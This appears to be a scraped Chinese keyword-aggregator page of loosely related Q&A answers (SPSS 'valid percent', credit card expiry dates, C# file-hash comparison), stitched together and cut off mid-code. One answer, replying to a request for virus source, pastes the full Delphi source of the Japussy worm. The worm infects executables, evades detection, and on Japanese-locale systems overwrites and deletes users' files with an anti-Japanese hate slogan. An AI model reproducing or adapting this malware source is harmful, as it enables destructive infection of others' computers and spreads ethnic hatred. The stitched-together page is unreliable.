valid源码分析(valid数据集)
本文目录一览:
- 1、在Spss 分析数据时,最后percent,valid percent,cumulative percent得到的结果都是一样的,正常吗?
- 2、能发一个完整的病毒源代码文件?我分析一下。直接复制在这里就可以,不要发给我
- 3、spss分析时 output表格上的valid数据不对 60个数据只有17个可用是神马情况。。跪求指导。。
- 4、信用卡上valid thru05/10 是什么意思?
- 5、建行信用卡上MONTH/YEAR VALIDTHRU 02/21 1 是什么意思?
- 6、C# 如何判断两个文件内容是否相同的方法
在Spss 分析数据时,最后percent,valid percent,cumulative percent得到的结果都是一样的,正常吗?
我觉得你并没有读懂数据。先要明白这三个词语是什么意思才行哟。加油!祝好!
能发一个完整的病毒源代码文件?我分析一下。直接复制在这里就可以,不要发给我
复制的,希望采纳
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?汤姆感激不尽!
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr 16) and (SearchRec.Name '.') and
(SearchRec.Name '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name '.') and
(SearchRec.Name '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户,这个是我最喜欢的!
//哪位大兄弟愿意完成之?汤姆感激不尽!
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?汤姆感激不尽!
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end
spss分析时 output表格上的valid数据不对 60个数据只有17个可用是神马情况。。跪求指导。。
你检查一下数据就知道了
我经常帮别人做这类的数据分析的
信用卡上valid thru05/10 是什么意思?
信用卡上valid thru05/10 是有效期2010年05月。
1.信用卡的有效期以月月/年年 表示,10/12 有效为2012年10月31日到期;
2.银行信用卡有效期一般为3年,个别银行为5年;
3.有效期到期后,银行将根据以往客户使用信用卡的情况,决定是否让客户继续使用信用卡。
拓展资料:
银行卡与信用卡的区别:
银行卡包括信用卡和借记卡。而信用卡只是银行卡的一种。从外观上区分的话,借记卡和信用卡有以下不同:
1,多数借机卡没有姓名拼音,而信用卡有持有人的姓名拼音;
2,通常信用卡的卡号和姓名是压出的立体字,而借记卡通常是印上去的;
3,不少借记卡会在卡的正面标明:借记卡/储蓄卡;
4,不少银行有专门的品牌,如工行的“牡丹灵通卡”,浦发的“东方卡”等,一望即知。
5,卡的背面通常会有“注意事项”,上面往往会表明是什么卡种。
6,多数借记卡没有国际结算功能,故而只有“银联”标志;而信用卡目前多数是双币或外币卡,有VISA或MASTERCARD等国际卡组织的标志。
建行信用卡上MONTH/YEAR VALIDTHRU 02/21 1 是什么意思?
建行信用卡上的“MONTH/YEAR”意思为月份/年份,VALIDTHRU 是有效期的意思。连在一起意思是信用卡有效期截至的年月。02/21表示信用卡有效期至2021年2月底。1为序号,没什么用。如果信用良好,信用卡会在到期前1个月邮寄一张新卡,原卡片超过有效期即作废。
拓展资料:
一、信用卡逾期影响:
第一,逾期不还,会影响个人的信用。贷款人借了银行的钱,逾期不还,自己的个人信用报告就会留上不良信用记录。以后想申请信用卡、申请贷款,很难,大多会被拒绝,对个人的生产、生活会造成很多困扰。
第二,信用贷款不还面临内的最直接的后果就是高额罚息,可能还需要你支付一定的违约金。连本带息加起来也是一笔不小的费用,不按时还款的结果是更加加大了自己的经济压力。
第三,逾期不还,贷款人面临被各种催收。银行或者金融机构都有自己的催收体系,贷款人逾期后,初级的催收会给你发短信、打电话催缴。如果长时间不还,程度严重一些的,甚至会有催收人员的面对面催收,这个逾期人员要有心里准备,还是应第一时间想办法把钱还清,方可解决。
第四,长期逾期不还,金额比较大的,贷款人有被金融机构起诉的可能。起诉受理后,法庭宣判完毕,贷款人资产可能会被查封。这是贷款人必须得执行“还款裁决”,否则,法院就会依法查封你名下房产等资产,以拍卖所得,偿还欠款。
第五,情节严重的情况,可能会坐牢。正常来说,借钱不还这类事件都属于民事纠纷,不会上升上刑事层面。但如果一些贷款人拒不执行、坚持不还款,情节严重恶劣的,法院还会追究借款人的刑事责任,按情节而定,情节严重的就会坐牢。
二、信用卡使用注意事项
1、要按时还款:
在使用了信用卡之后,一定要记得按时还款。一旦逾期不仅会产生不良信用记录,银行还会收取逾期的罚息。
2、刷卡不要太频繁:
有些人频繁使用信用卡,并且刷卡间隔时间短,这样的行为很容易被银行风控。
3、消费多元化:
持卡人使用信用卡消费的时候,要多元化,不要局限于一个地方,可以在酒店、餐厅、商场等地方多刷卡。如果一直在一个地方消费,银行会觉得持卡人没有消费能力,给信用卡降额。
C# 如何判断两个文件内容是否相同的方法
该哈希算法为一个文件生成一个小的二进制“指纹”,从统计学的角度来看,不同的文件不可能生成相同的哈希码
要生成一个哈希码,必须首先创建一个HashAlgorithm对象,通过HashAlgorithm.Create方法来完成。然后调用
HashAlgorithm.ComputeHash方法,它会返回一个存储哈希码的字节数组,再使用BitConverter.Tostring()将其
装换为字符串进行比较。
源码如下:复制代码代码如下:public
static
bool
isValidFileContent(string
filePath1,
string
filePath2){//创建一个哈希算法对象
using
(HashAlgorithm
hash
=
HashAlgorithm.Create()){using
(FileStream
file1
=
new
FileStream(filePath1,
FileMode.Open),file2=new
FileStream(filePath2,FileMode.Open)){byte[]
hashByte1
=
hash.ComputeHash(file1);//哈希算法根据文本得到哈希码的字节数组
byte[]
hashByte2
=
hash.ComputeHash(file2);
string
str1
=
BitConverter.ToString(hashByte1);//将字节数组装换为字符串
string
str2
=
BitConverter.ToString(hashByte2);
return
(str1==str2);//比较哈希码}}}使用该函数的主函数复制代码代码如下:static
void
Main(string[]
args){string
filePath1
=
@"f:/1.txt";
string
filePath2
=
@"f:/2.txt";
bool
valid=isValidFileContent(filePath1,
filePath2);